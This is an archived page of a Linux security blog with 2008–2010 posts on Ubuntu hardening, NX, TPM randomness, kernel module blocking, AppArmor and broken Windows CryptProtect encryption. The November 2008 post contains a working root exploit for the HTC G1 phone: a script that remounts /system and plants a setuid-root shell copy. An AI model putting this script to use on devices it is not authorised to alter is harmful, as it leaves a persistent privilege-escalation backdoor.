codeblog code is freedom — patching my itch

August 12, 2010

CryptProtect broken

Dan Rosenberg pointed me to a paper from the 2010 WOOT conference that mentions my work to implement the CryptProtect function in Wine. Their research is awesome, and it was fun to compare my attempts at identifying the blob structure to what they discovered. Looks like I got the structure pretty well, but that was easy; they totally broke the encryption itself. Now those native blobs can be decrypted, opening the door to full NTFS interoperability, offline forensics of Windows encrypted files, etc. (For designers of future symmetric encryption methods: please don’t store the keys (in any form) on disk with the cipher text…)

What I found most alarming about this is a comparison to eCryptfs, and how it is implemented with the user’s login passphrase. In both cases, a hash of the passphrase is used to perform additional work that results in keying the final encryption. In eCryptfs, this hash is calculated to unlock the main key that is used for eCryptfs and is then thrown away (it can always be regenerated when the user logs in). If the user changes their passphrase, they must decrypt and re-encrypt the eCryptfs key (this is done automatically by PAM). Under Windows, to deal with potential user login passphrase changes, they instead decided to store all prior (SHA1) hashes of the user’s passphrases, even lacking a salt. So all the clear-text user login passphrases are recoverable with a standard rainbow table, in parallel. O_o

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

May 29, 2010

Linux Security Summit 2010

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server — kees @ 5:22 pm

The Call For Participation is open for the 2010 Linux Security Summit, being held just before this year’s LinuxCon.

If you’re interested in helping make Linux more secure, you’ve got ideas to present, want to have your opinion heard, or generally just want to hang out, please join us and/or suggest a topic for discussion (CFP ends June 4th, so please hurry).

I’m hoping to get a chance to discuss what I’m calling the “popular kernel hardening patches” which appear in a lot of distros yet remain missing from the upstream Linux kernel.

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

April 29, 2010

Intrepid Inactive

Filed under: Blogging,Security,Ubuntu,Ubuntu-Server — kees @ 5:00 pm

Intrepid is now officially at end-of-life.

Looking back through my build logs, it seems my desktop did 1340 builds, spending 70 hours, 38 minutes, and 49 seconds doing builds during the development cycle of Intrepid. Once released, it performed an additional 123 builds, taking 19 hours, 29 minutes, and 48 seconds for security updates. As before, these times obviously don’t include patch hunting/development, failed builds, testing, stuff done on my laptop or the porting machines, etc.

Thank you Intrepid! You were the first release to carry the full set of by-default hardened compiler flags.

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

March 10, 2010

openssl client does not check commonName

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server — kees @ 10:47 pm

I realize the openssl s_client tool tries to be upper-layer protocol agnostic, but doesn’t everything that uses SSL do commonName checking (HTTP, SMTP, IMAP, FTP, POP, XMPP)? Shouldn’t this be something openssl s_client does by default, maybe with an option to turn it off for less common situations?

Here it doesn’t complain about connecting to “outflux.net” when the cert has a CN for “www.outflux.net”:

echo QUIT | openssl s_client -CApath /etc/ssl/certs \
  -connect outflux.net:443 2>/dev/null | egrep "subject=|Verify"
subject=/CN=www.outflux.net
    Verify return code: 0 (ok)

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

February 18, 2010

data mining for NX bit

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server — kees @ 11:15 am

9% of Ubuntu systems that were used to report bugs that included their /proc/cpuinfo file need to fix their BIOS settings to gain the NX bit.

Check for yourself. (Run it with --verbose for useful details.)

Out of 7511 Ubuntu bugs Brian Murray collected for me that included /proc/cpuinfo files, there were 7270 unique contents (which surprised me — I was expecting this to be much lower).

  • 5 (0.07%) were non-x86.
  • 1 (0.02%) had corrupted contents (likely due to a search/replace in apport gone awry).
  • 5670 (77.99%) had NX (this also surprised me — I was not expecting it to be so high).
  • 337 (4.64%) lacked PAE, and so cannot have NX (I didn’t expect this to be so low; Ubuntu bug reporters must have relatively recent hardware overall).
  • 595 (8.18%) had PAE and correctly lacked NX (I didn’t expect this to be so high — PAE without NX is a bit more common than I’d hoped; hopefully these systems are running 32bit kernels to at least get the partial NX emulation).
  • 662 (9.1%) had PAE but incorrectly lacked NX.

It’s this last group of systems I’m hoping to get fixed through education.

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

February 9, 2010

easy example of filesystem capabilities

Filed under: Blogging,Debian,Networking,Security,Ubuntu,Ubuntu-Server — kees @ 11:15 am

Instead of using setuid programs, the goal for the future is to use fine-grained capabilities. For example, here is /bin/ping:

$ ls -la /bin/ping
-rwsr-xr-x 1 root root 35680 2009-11-05 00:41 /bin/ping
$ ./ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.041 ms

$ sudo setcap CAP_NET_RAW=ep /bin/ping
$ getcap /bin/ping
/bin/ping = cap_net_raw+ep
$ ./ping 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.041 ms

$ dmesg | tail -n1
[212275.772124] warning: `/bin/ping’ has both setuid-root and effective capabilities. Therefore not raising all capabilities.

The best part is that the kernel will choose the set of least privileges when both setuid and capabilities exist. Easy way to transition!

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

February 8, 2010

rng-tools with TPM

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server — kees @ 7:32 pm

In Ubuntu, I uploaded an rng-tools that supports the RNG in TPM devices (my patch is waiting in Debian). This hardware is available on a bunch of systems, including several Thinkpads and the Intel Q35, Q45 and newer main boards.

While most TPM RNGs aren’t really heavy-duty hardware RNGs, they are at least a mild source of randomness. I’ll be using an entropy key eventually, but for now, the TPM can supplement my collected entropy.

/etc/default/rng-tools:

HRNGDEVICE=/dev/null
RNGDOPTIONS=”–hrng=tpm –fill-watermark=90% –feed-interval=1″

After it’s been running a bit:

Feb 8 19:10:51 linux rngd[13143]: stats: bits received from HRNG source: 6180064
Feb 8 19:10:51 linux rngd[13143]: stats: bits sent to kernel pool: 6166144
Feb 8 19:10:51 linux rngd[13143]: stats: entropy added to kernel pool: 4624608
Feb 8 19:10:51 linux rngd[13143]: stats: FIPS 140-2 successes: 309
Feb 8 19:10:51 linux rngd[13143]: stats: FIPS 140-2 failures: 0
Feb 8 19:10:51 linux rngd[13143]: stats: FIPS 140-2(2001-10-10) Monobit: 0
Feb 8 19:10:51 linux rngd[13143]: stats: FIPS 140-2(2001-10-10) Poker: 0
Feb 8 19:10:51 linux rngd[13143]: stats: FIPS 140-2(2001-10-10) Runs: 0
Feb 8 19:10:51 linux rngd[13143]: stats: FIPS 140-2(2001-10-10) Long run: 0
Feb 8 19:10:51 linux rngd[13143]: stats: FIPS 140-2(2001-10-10) Continuous run: 0
Feb 8 19:10:51 linux rngd[13143]: stats: HRNG source speed: (min=5.207; avg=6.145; max=6.200)Kibits/s
Feb 8 19:10:51 linux rngd[13143]: stats: FIPS tests speed: (min=66.925; avg=75.789; max=112.861)Mibits/s
Feb 8 19:10:51 linux rngd[13143]: stats: Lowest ready-buffers level: 0
Feb 8 19:10:51 linux rngd[13143]: stats: Entropy starvations: 308
Feb 8 19:10:51 linux rngd[13143]: stats: Time spent starving for entropy: (min=3150263; avg=3178447.994; max=3750848)us

And now the kernel entropy pool is high:

$ echo $(cat /proc/sys/kernel/random/entropy_avail)/$(cat /proc/sys/kernel/random/poolsize)
3968/4096

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

January 24, 2010

Google is wardriving

Filed under: Blogging,Debian,General,Networking,Security,Ubuntu,Web — kees @ 8:28 pm

So, a while back, Google started providing location services. This seemed pretty cool, but I kind of ignored it until recently when I was playing with my Android’s location API. With the GPS off, and no cell towers visible (my basement gets terrible cell service), my phone knew within about 500 feet of where it actually was. All I was connected to was my wifi.

Bottom line: it seems that Google, among other methods, is likely wardriving while photographing for Street View. They are now able to pinpoint wifi access points if they happened to see it while driving through your city.

I’m really rather astonished that no one is freaking out about this; I’m a bit unnerved. I implemented the location-of-your-wifi API quickly, so I could terrify myself further. You can do lookups via my location website too, if you want.

UPDATE: yeah, it would seem to be crowd-sourced wifi and cell tower triangulation data. I should say “Google is WarCrowding”.

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

January 19, 2010

Using huludesktop on MythTV

Filed under: Blogging,Security,Ubuntu — kees @ 11:29 am

Based on a friend’s recommendation, I decided I would install Hulu Desktop for my MythTV system.

The MythTV wiki instructions were very good. However, I didn’t like that it was a closed-source binary doing network traffic. (While “system” doesn’t show up in “readelf -r” output, that doesn’t mean it isn’t doing direct syscalls, or manually finding the “system” offset in the libc library, or is vulnerable to overflows, and on and on.) So, to put my mind at ease, I decided to confine it in an AppArmor profile:

#include <tunables/global>

/usr/bin/huludesktop {
#include <abstractions/gnome>
#include <abstractions/audio>
#include <abstractions/nameservice>

/etc/huludesktop/** r,
@{HOME}/.huludesktop rwkl,
@{HOME}/.local/share/.huludesktop.data rwkl,
@{HOME}/.macromedia/Flash_Player/macromedia.com/support/flashplayer/sys/*.hulu.com/** r,
@{HOME}/.macromedia/Flash_Player/#SharedObjects/ r,
@{HOME}/.macromedia/Flash_Player/#SharedObjects/*/*.hulu.com/ rw,
@{HOME}/.macromedia/Flash_Player/#SharedObjects/*/*.hulu.com/** rwkl,

# MythTV is already managing the screensaver
deny /usr/bin/xdg-screensaver x,
}

Additionally, I disabled its executable stack, which seems to serve no purpose:
$ sudo execstack -c /usr/bin/huludesktop

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

December 9, 2009

install from official repositories only

Filed under: Debian,Security,Ubuntu,Ubuntu-Server — kees @ 10:02 am

As quickly pointed out by Rick, don’t install random software that isn’t in the official distribution archive unless you really know what you’re doing (and copy/pasting commands from a website doesn’t count). You’re just asking to be made part of a botnet.

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

November 24, 2009

missing kernel features in ARM

Filed under: Debian,Security,Ubuntu — kees @ 10:38 pm

As more attention is given to the ARM ports of Linux, I’m hoping someone (maybe me if I learn a bunch) will be able to implement some upstream kernel features that are implemented only on x86 so far:

  • ASLR of mmap allocations
  • ASLR of text/exec area
  • ASLR of vdso
  • ASLR of brk area

Stack is already randomized, it should be easy to do the rest! ;)

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

October 22, 2009

TPM as RNG

Filed under: Debian,Security,Ubuntu,Ubuntu-Server — kees @ 10:43 pm

I was reminded about some TPM coding I’d done to get random bytes from the pRNG on my TPM-enabled system from Matt Domsch’s recent post. I’m not fully convinced that the pRNG of the TPM is an appropriate source of entropy, but it does pass my simple FIPS-140-2 test.

I had to find the Intel TPM docs to figure out how to enable TPM on my system. It was under “Advanced / Peripherals”. I was expecting it under “Security”, like every other BIOS I’d seen. After that:

$ sudo apt-get install trousers tpm-tools
...
$ sudo modprobe tpm_tis
$ dmesg | grep -i tpm
[676618.167313] tpm_tis 00:07: 1.2 TPM (device-id 0xFE, rev-id 70)
$ sudo service trousers start
...
$ tpm_version
TPM 1.2 Version Info:
Chip Version: 1.2.2.16
Spec Level: 2
Errata Revision: 1
TPM Vendor ID: WEC
TPM Version: 01010000
Manufacturer Info: 57454300
$ ./tpm-getrand | hexdump -C
00000000 61 07 23 ff 71 3e 25 e8 f0 d5 de a7 a3 07 21 dc |a.#.q>%.......!.|

I could run rngd with a named pipe, but it’d be nice to have a new driver that could run a command instead to get the next 20000 bits.

UPDATE: I’ve implemented this in rngd now.

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

July 31, 2009

blocking module loading

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server — kees @ 11:47 am

New for Linux 2.6.31 (and Ubuntu 9.10) is the ability to throw a one-way toggle to block module loading via /proc/sys/kernel/modules_disabled:

# uname -a
Linux sec-karmic-amd64 2.6.31-4-generic #23-Ubuntu SMP Mon Jul 27 18:39:59 UTC 2009 x86_64 GNU/Linux
# lsmod | head -n3
Module Size Used by
binfmt_misc 10220 1
ppdev 8200 0
# cat /proc/sys/kernel/modules_disabled
0
# modprobe usb-storage
# lsmod | head -n3
Module Size Used by
usb_storage 65600 0
binfmt_misc 10220 1
# echo 1 > /proc/sys/kernel/modules_disabled
# rmmod usb-storage
ERROR: Removing 'usb_storage': Operation not permitted
# modprobe zlib_deflate
FATAL: Error inserting zlib_deflate (/lib/modules/2.6.31-4-generic/kernel/lib/zlib_deflate/zlib_deflate.ko): Operation not permitted
# echo 0 > /proc/sys/kernel/modules_disabled
bash: echo: write error: Invalid argument
# cat /proc/sys/kernel/modules_disabled
1

The intent is for this to allow paranoid server admins (or other people not expecting to hot-plug new hardware or kernel services) the ability to block module loading without compiling a monolithic kernel.

This kind of thing used to be available through the “lcap” utility modifying the global capability bounding set (which was removed in 2.6.25), but init could always be made to turn it back on.

Combined with the removal of /dev/kmem and the hardening of /dev/mem, this closes another kernel rootkit door. It’s not a cure-all, but it’s another layer.

Now we just have to figure out ways to stamp out unexpected ioport-triggered DMA access.

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

July 16, 2009

Diminished Dapper

Filed under: Blogging,Security,Ubuntu,Ubuntu-Server — kees @ 10:18 am

Dapper has reached it’s half-way support age. This means that only shipped server packages are getting official support. If you’re still running Dapper, upgrade to Hardy (and then consider upgrading through Intrepid to Jaunty too, since Intrepid and newer has awesome compiler defaults).

Looking back through my build logs, I can see that my desktop spent 51 hours, 48 minutes, and 37 seconds building 389 security updates. As before, these times obviously don’t include patch hunting/development, failed builds, testing, stuff done on my laptop or the porting machines, etc.

Current combined devel/security build standings per release:

hardy: 172:23:11
intrepid: 85:34:53
jaunty: 20:11:53

Thank you Dapper Desktop! I am reminded what you look like each time I start a Dapper VM. If not for that, my memory of you would have diminished long ago.

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

May 14, 2009

partial NX emulation in Ubuntu

Filed under: Security,Ubuntu — kees @ 9:18 am

Now available for early testing, Ubuntu Karmic Alpha 1 has a kernel feature I’ve long wanted in Ubuntu: NX emulation. Basically, if your hardware lacks NX support, the kernel will emulate the feature using memory segment limits and ordering. This was AFAIBT originally developed by PaX, and a similar version (with histories including work by Solar Designer and maybe OpenBSD?) has been carried in RedHat/Fedora for a while now (under the larger project called “ExecShield”, covering multiple protection technologies).

As more and more of the monolithic ExecShield kernel patch has been taken upstream (many thanks to Arjan van de Ven for pushing them), the patch in RedHat has been shrinking. Recently, Dave Jones split up the remaining pieces into logical chunks small enough that I could actually read it without going cross-eyed. From this, I ported the nx-emulation patches to Ubuntu’s kernel, and now they’re happily live in Karmic.

So, instead of this:

$ ./vulnerable-setuid-program $OVERFLOW_AND_SHELLCODE
# id
uid=0(root) gid=0(root) groups=0(root)

We get this:

$ ./vulnerable-setuid-program $OVERFLOW_AND_SHELLCODE
Segmentation fault (core dumped)
$ dmesg | tail -n1
[170131.763976] vulnerable-set[16278]: general protection ip:80489c5 sp:bfa3e330 error:0 in vulnerable-setuid-program[8048000+1000]

Though, as always, please just use 64bit instead. :)

Update: gave credit to PaX, thanks for the corrections!

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

April 17, 2009

Goodbye Gutsy

Filed under: Blogging,Security,Ubuntu,Ubuntu-Server — kees @ 3:05 pm

(In reading my prior EOL posts, I realize I should have said “Enough Edgy” or something like that to be appropriately alliterative.)

Gutsy is now officially at end-of-life.

Looking back through my build logs, I can see that my desktop spent 25 hours, 6 minutes, and 47 seconds building 208 security updates. (And 18 hours, 23 minutes, 45 seconds doing 335 builds during the Gutsy devel window.) As before, these times obviously don’t include patch hunting/development, failed builds, testing, stuff done on my laptop or the porting machines, etc.

Current combined devel/security build standings per release:

dapper: 51:27:29
hardy: 171:21:40
intrepid: 84:23:19
jaunty: 18:43:09

Thank you Gutsy! You were much nicer than Feisty, especially for wifi on my poor laptop.

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

April 9, 2009

CODEGATE 2009 ran Ubuntu Intrepid

Filed under: Blogging,Security,Ubuntu,Ubuntu-Server — kees @ 9:05 pm

I’m pleased to hear than the CODEGATE 2009 International Hacking Contest ran Ubuntu Intrepid for both the qualifying rounds and the final match. The host machine was running the 32bit -server kernel, so NX was active (along with all the other memory-corruption protections). From what I can see the compiled challenges were stack-protected and fortified, so the contestants had to work around that as well as the randomized stack, heap, and library locations. Sounds like it was a fun contest in a real-world situation. All that’s left now is for 64bit to become the standard. And PIE too. I can’t wait to hear more. :)

$ nm cracktris | grep _chk
         U __fprintf_chk@@GLIBC_2.3.4
         U __printf_chk@@GLIBC_2.3.4
         U __sprintf_chk@@GLIBC_2.3.4
         U __stack_chk_fail@@GLIBC_2.4
         U __strcat_chk@@GLIBC_2.3.4
         U __strcpy_chk@@GLIBC_2.3.4

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

January 1, 2009

happy new year, RIP md5

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server — kees @ 10:59 am

Welcome to 2009! Really, seriously, everyone can stop using MD5 now. However, be sure not to overreact. The forged CA research is a great read, but there’s no need to break existing certs. For a calm reaction, please read this.

© 2009, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

December 3, 2008

bogosec run on intrepid main

Filed under: Blogging,Security,Ubuntu,Ubuntu-Server — kees @ 10:16 am

Care of Mike Owens and Dustin Kirkland, bogosec has been uploaded to Jaunty (in the NEW queue at the moment). It is a source-code analyzer framework with plugins for lintian, rats, and flawfinder. Out of curiousity, I ran it on all of Intrepid main. Highest 5 scores were:

  1. 0.717338929043293 lsscsi
  2. 0.612729234088457 nevow
  3. 0.561151781356762 powertop
  4. 0.431034482758621 language-pack-tk-base
  5. 0.431034482758621 language-pack-se-base

As Dustin reminded me, bogosec seems biased against smaller code bases. In the case of the lang packs, the score is entirely from lintian. Both lsscsi and powertop deal mostly with input from kernel strings, so while they scored highly, I doubt either is actually vulnerable to very much. I haven’t looked at nevow yet. Also, both rats and flawfinder yell about things that are mitigated by compiler flags (e.g. -D_FORTIFY_SOURCE=2) so those warnings are less interesting too.

Really, this all boils down to “we need better code analyzers”. The best tool will be one that predicts CVE counts (I would expect the Linux kernel to be at the top, since it has the all-time highest number of CVEs filed against it).

To get closer to reality, I think just doing a normal package build and scanning for stderr output would be meaningful (gcc has plenty of built-in checks already). Steve Beattie suggested writing a plugin for sparse, too.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

November 21, 2008

make your BIOS love security

Filed under: Security,Ubuntu,Ubuntu-Server — kees @ 1:39 pm

There’s this great CPU feature called “nx” — it protects your computer from intrusion by blocking execution of memory regions that weren’t expected to be executable (i.e. stack/heap data). You really want this enabled. Unfortunately for you, it seems some BIOSes default to disabling it. On Dell laptops, look under “Security” / “CPU XD Support”: you want it enabled. In an American Megatrends BIOS, I found it under “CPU Features” / “Execute Disable Bit”: you want it enabled.

As far as making use of the CPU feature once it’s not disabled in the BIOS, you’re already using it if you’re running a 64bit kernel. And if you’re using 32bit, you can start using it if you install the -server flavor of the 32bit kernel. As a bonus, you get to address all your physical RAM if you do this too (since -server’s “PAE” mode is the kernel mode that allows “nx” to work). For Ubuntu Jaunty, I’m hoping to get some element of the system (installer? jockey?) to make the right kernel selection for a given system.

If “pae” is in your /proc/cpuinfo flags:

$ grep --color pae /proc/cpuinfo
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov \
pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc \
arch_perfmon pebs bts rep_good nopl pni monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr lahf_lm

(note the “nx” in there too, since my BIOS isn’t set to disable it)

Then you almost certainly want to use -server kernel flavor:

sudo apt-get install linux-server linux-restricted-modules-server

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

November 18, 2008

md5 lookups for 4 chars and common words

Filed under: Blogging,Debian,Security,Ubuntu,Web — kees @ 8:19 pm

Here’s a fun link. This site appears to have seeded their md5 hash list with all lower case character strings of 4 characters or fewer and many english words (probably from some large dictionaries), and they seem to be adding more as they go. This makes me want to put up an interface to the 7 character alpha-numeric-plus-many-special-chars rainbow table I’ve got. But searching the 500G table for a single hash takes… a while. I’d need to batch it up. Go-go-gadget web 2.0!

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

November 9, 2008

“rooting” the HTC G1 Android

Filed under: Blogging,Debian,Embedded,Security,Ubuntu,Vulnerabilities — kees @ 10:27 am

People noticed that running telnetd seemed to run as root. Later it was discovered that everything you typed was being run by the root user also. So, that ends the first mystery: when you typed “telnetd” both the Terminal user and root ran it. It would fail (without error messages) for the Terminal user, and run successfully for the root user. So now, the question is, what the f is a root shell doing mirroring user input?!

So, there is a much easier way to get root that doesn’t require network connectivity. While the /sdcard mount point is nosuid,noexec, it’ll still run scripts if you explicitly direct them to run. It seems that the weird background root shell doesn’t understand the alt-keys, so it can only run stuff that can be typed without using alt, shift, etc. So, put the following in /sdcard/pwn:


mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
cd /system/bin
cat sh > sh.root
chmod 4755 sh.root
mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system

You can either do this by dropping the file in place over USB mass storage, or you can type it via the Terminal using “cat“. (Rebooting here might help get the root shell in a sane state.) Finally, just navigate there without slashes and run the script:


$ cd sdcard
$ sh pwn

You’ll see lots of errors (but these are only from the Terminal user). The script is, however, run by the root shell too. You can verify the results:


$ ls -l /system/bin/sh*
-rwxr-xr-x root          shell     86936 2008-09-13 00:13 sh
-rwsr-xr-x root          root      86936 2008-11-09 10:12 sh.root

Next up: cross-compiling a little helper to elevate to real UID 0, and require a password to keep malware from looking for setuid shells.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

November 3, 2008

days since last incident…

Filed under: Blogging,Debian,Networking,Security,Ubuntu,Ubuntu-Server — kees @ 11:15 am

If I made one of those work-site signs that tracked “Days since last incident”, and made one for “Days since last in-the-wild remote-root worm” for Windows and Linux, what would they each say? 0 and 7304 respectively?

Update: while the post was tongue-in-cheek (everyone suffers when any large subset of computers is being attacked), I should lower the Linux days count to 2783 (for L10n on March 23, 2001, which is slightly newer than Ramen on January 17, 2001). Thanks for everyone’s comments. :)

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

October 21, 2008

Feisty Finale

Filed under: Blogging,Security,Ubuntu,Ubuntu-Server — kees @ 3:59 pm

Feisty is now officially at end-of-life.

Looking back through my build logs, I can see that my desktop spent 34 hours, 44 minutes, and 46 seconds building 255 security updates. (And 25 hours, 40 minutes, 13 seconds doing 249 builds during the Feisty devel window.) As before, these times obviously don’t include patch hunting/development, failed builds, testing, stuff done on my laptop or the porting machines, etc.

As a correction to the Edgy EOL post, my desktop actually spent 50:59:40 doing 322 security builds and 04:14:23 doing 84 devel builds.

Current standings:

dapper: 49:42:36
gutsy: 43:14:36
hardy: 166:11:15
intrepid: 70:24:52

As mentioned, these numbers are mixed devel/security times.

Thank you Feisty! You were much more stable than Edgy, even if we didn’t see eye-to-eye about wifi connectivity.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

September 4, 2008

all PIE distro

Filed under: Blogging,Security,Ubuntu,Ubuntu-Server — kees @ 2:00 pm

Major props to NCommander for taking on the painful experiment of getting the entire Ubuntu Intrepid archive rebuilt with PIE on amd64. After getting all the other hardening defaults enabled for Intrepid, PIE is the last on the original list for enabling “by default”. Due to the overhead of PIE on i386, it’s really only an option on architectures with lots of general registers.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

August 20, 2008

Ubuntu security repository structure

Filed under: Blogging,Security,Ubuntu,Ubuntu-Server — kees @ 12:04 pm

Miguel Ruiz asked about Ubuntu security repositories. Here’s how things are done:

The “security.ubuntu.com” archive contains explicitly only the “$RELEASE-security” pockets. It is included in all Ubuntu sources.list files so that the package manager knows what the most recent security release of a package will be.

The central “archive.ubuntu.com” server (and all the Ubuntu mirrors) also contain the “$RELEASE-security” pockets, in addition to the rest of the archive (and will continue to have all pockets — which answers the core of Miguel’s question). While mirrors are not required to mirror the -security pocket, it certainly helps with the load on the primary Ubuntu archive servers.

The “security.ubuntu.com” entry is last in sources.list, giving the option of pulling an updated package from an earlier mentioned mirror (resulting in a faster download for the user, and less bandwidth used by the central Ubuntu archive servers). In the case that the mirror is behind, the package is available directly from “security.ubuntu.com”. In this way, mirrors cannot (accidentally or intentionally) “go rogue” — the latest security updates are always visible on the security archive server.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

April 25, 2008

Farwell Edgy

Filed under: Blogging,Security,Ubuntu — kees @ 6:39 pm

Edgy is now officially at end-of-life.

Looking back through my build logs, I can see that my desktop spent 55 hours, 14 minutes, and 3 seconds on 406 builds related to edgy-security updates I was involved in publishing. These times obviously don’t include patch hunting/development, failed builds, testing, stuff done on my laptop or the porting machines, etc. Comparing to my prior post on this topic, here are the standings for other releases:

dapper: 44:48:24
feisty: 58:49:04
gutsy: 37:06:08
hardy: 86:25:58

Hmm… I think my hardy numbers include devel builds times… I’ll have to sort that out. :)

Thank you Edgy! I will remember you for your wonderful default -fstack-protector.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

March 16, 2008

SELinux in Hardy

Filed under: Security,Ubuntu — kees @ 1:32 pm

Hardy has seen a major overhaul in the SELinux department. Prior to the Hardy UDS, the folks at Tresys had contacted me, asking “why doesn’t SELinux work with Ubuntu?” and I basically said, “because no one has given it any attention, yet — feel free to help out.” And so they did! :)

As a result, if AppArmor isn’t the MAC system you want, you can now install a functional SELinux system on Ubuntu with just a simple “sudo apt-get install selinux”.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

March 5, 2008

swapping encryption, hurting your head

Filed under: Security,Ubuntu — kees @ 11:18 am

Last week Soren helped me move my manually cryptsetup’d swap partition into the initramfs logic so that I could hibernate. Bottom line was:

  1. Create /etc/initramfs-tools/conf.d/cryptroot for your partition, based on the logic and defaults in /usr/share/initramfs-tools/scripts/local-top/cryptroot.
  2. Convert the existing encrypted swap to the new configuration.
  3. Update initrd, reboot, enjoy.

Assuming your swap partition (in encrypted form) is stored at /dev/laptopvg/swaprawlv, and you want your accessible swap partition as /dev/mapper/swap, here are the above steps in detail:

Doing step 1 is simple, we’re assuming the defaults from the cryptroot script above:

    echo source=/dev/laptopvg/swaprawlv target=swap > /etc/initramfs-tools/conf.d/cryptroot
    

Step 2 hurt my head. Make sure you’ve unmounted your swap before attempting this, or you can destroy the partition contents. The parameters come from the cryptroot script again:

    swapoff /dev/mapper/swap
    vol_id /dev/mapper/swap
    cryptsetup -c aes-cbc-essiv:sha256 -h sha256 -s 256 create swap2 /dev/laptopvg/swaprawlv
    dd if=/dev/mapper/swap of=/dev/mapper/swap2 bs=4k
    cryptsetup remove swap
    vol_id /dev/mapper/swap2
    

Step 3 is simple again:

    update-initramfs -u
    shutdown -r now
    

Ta-da!

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

February 20, 2008

OSS Security – OSU CS419 2008

Filed under: Security,Ubuntu — kees @ 5:36 pm

Today I gave my presentation on Open Source Security to the Open Source class at Oregon State University. Along with the presentation is a collection of examples of bad (and good) programs ranging from XSS, CSRF, temp races, system() and SSL misuse, stack and heap memory corruption, format strings, and all sorts of other things I could think of. I gave this presentation in 2007 and was again honored to be asked back in 2008. I think more schools need to be teaching dedicated Open Source classes, and I’m pleased to help out. I’m hoping people will take away a few good ideas that will contribute to them producing safe code.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

« Newer PostsOlder Posts »

Powered by WordPress